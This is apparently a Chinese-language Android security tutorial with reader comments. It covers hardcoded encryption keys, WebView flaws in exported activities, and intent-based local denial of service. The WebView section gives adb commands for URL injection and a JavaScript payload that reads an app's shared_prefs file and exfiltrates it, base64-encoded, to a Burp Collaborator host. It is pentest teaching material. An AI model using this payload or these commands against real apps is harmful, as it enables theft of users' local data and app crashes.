弱加密 在Android端,弱加密的问题一直存在于各类APP中,从最危险的密钥明文传输,然后是在manifest.xml文件中中可能也会存在部分key的泄露。再之后就是在java端的,很多app开发者都会调用常规加密算法,比如DES,AES等等常用密码学算法,并且密钥可以直接看到,然后再进行后续利用,比如存储在本地的一些xml文件的解密。也有部分开发者会将加密信息存储在so文件中,提高反编译难度。 WebView 关于WebView方面的漏洞,网上的介绍文章很多。本文就以一个实例demo来具体介绍一下常见的WebView漏洞以及利用。 首先查看导出组件。分为两部分:组件显式声明了“exported=true”属性;组件具有意图过滤器且没有“exported=false”属性 可以看到部分跟WebView相关的组件被导出。MainActivity通过提及意图过滤器被导出,我们可以通过这些过滤器确认应用程序正在使用 WebViews。 定位函数位置, 它通过从intent中获取字符串来加载url。因此我们可以伪造一个恶意的url来达到替换的目的。 使用的adb构造命令是 adb shell am start -n componentname --es string "xxx.com" 放在这里就是 adb shell am start -n com.xxx.webview/.RegistrationWebView --es reg_url "https://www.baidu.com" 成功调用了百度。这个方法适用于直接导出组件的情况。
adb shell am start -n componentname --es string "xxx.com"
adb shell am start -n com.xxx.webview/.RegistrationWebView --es reg_url "https://www.baidu.com"
如果开发人员启用了setAllowUniversalAccessFromFileURLs,即开发人员配置允许在文件方案 URL 上下文中运行的 JavaScript 访问来自任何来源的内容,包括其他文件方案 URL。 此设置删除所有同源策略限制并允许 webview 从通常不可能的文件向 web 发出请求。即,攻击者可以使用 java 脚本读取本地文件,并通过网络将它们发送到攻击者控制的域。 <script> var url = 'file:///data/data/com.xxx.xxxwebview/shared_prefs/MainActivity.xml'; //local file function load(url) { var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { if (xhr.readyState === 4) { fetch('https://8ktm71h4wjnqo72wgqbzvnr7jypodd.burpcollaborator.net/?exfiltrated=' + btoa(xhr.responseText)); //send b64 encoded file to attacker } } xhr.open('GET', url, true); xhr.send(''); } load(url) </script> 首先编写一个脚本添加到html,并且发送到手机的sdcard中,利用加载本地文件的内容并将其返回给攻击者 url。 adb shell am start -n com.xxx.xxxwebview/.RegistrationWebView --es reg_url "file:///sdcard/xxx.html" 然后就可以在bp中查看base 64 编码接收的文件的解码内容。
<script> var url = 'file:///data/data/com.xxx.xxxwebview/shared_prefs/MainActivity.xml'; //local file function load(url) { var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { if (xhr.readyState === 4) { fetch('https://8ktm71h4wjnqo72wgqbzvnr7jypodd.burpcollaborator.net/?exfiltrated=' + btoa(xhr.responseText)); //send b64 encoded file to attacker } } xhr.open('GET', url, true); xhr.send(''); } load(url) </script>
adb shell am start -n com.xxx.xxxwebview/.RegistrationWebView --es reg_url "file:///sdcard/xxx.html"
本地组件拒绝服务攻击 Android系统提供了Activity、Service和Broadcast Receiver等组件,并提供了Intent机制来协助应用间的交互与通讯,Intent负责对应用中一次操作的动作、动作涉及数据、附加数据进行描述,Android系统则根据此Intent的描述,负责找到对应的组件,将Intent传递给调用的组件,并完成组件的调用[1]。Android应用本地拒绝服务漏洞源于程序没有对Intent.getXXXExtra()获取的异常或者畸形数据处理时没有进行异常捕获,从而导致攻击者可通过向受害者应用发送此类空数据、异常或者畸形数据来达到使该应用crash的目的,简单的说就是攻击者通过intent发送空数据、异常或畸形数据给受害者应用,导致其崩溃。 当getIntent()的intent附带空数据、异常或畸形数据;或者是处理getXXXExtra()获取的数据时没有进行异常捕获时,就会发现本地拒绝服务攻击。 最简单的测试方法就是利用adb shell命令 adb shell am start-foreground-service com.包名/导出组件 在多次输入或者是输入等待一会后,app会出现闪退。
adb shell am start-foreground-service com.包名/导出组件
参考 https://www.youtube.com/watch?v=qS5PkC-37io https://wooyun.js.org/drops/Android%E5%AE%89%E5%85%A8%E5%BC%80%E5%8F%91%E4%B9%8B%E6%B5%85%E8%B0%88%E5%AF%86%E9%92%A5%E7%A1%AC%E7%BC%96%E7%A0%81.html
原来师傅是抽子 🤣
tql,学到了学到了 😀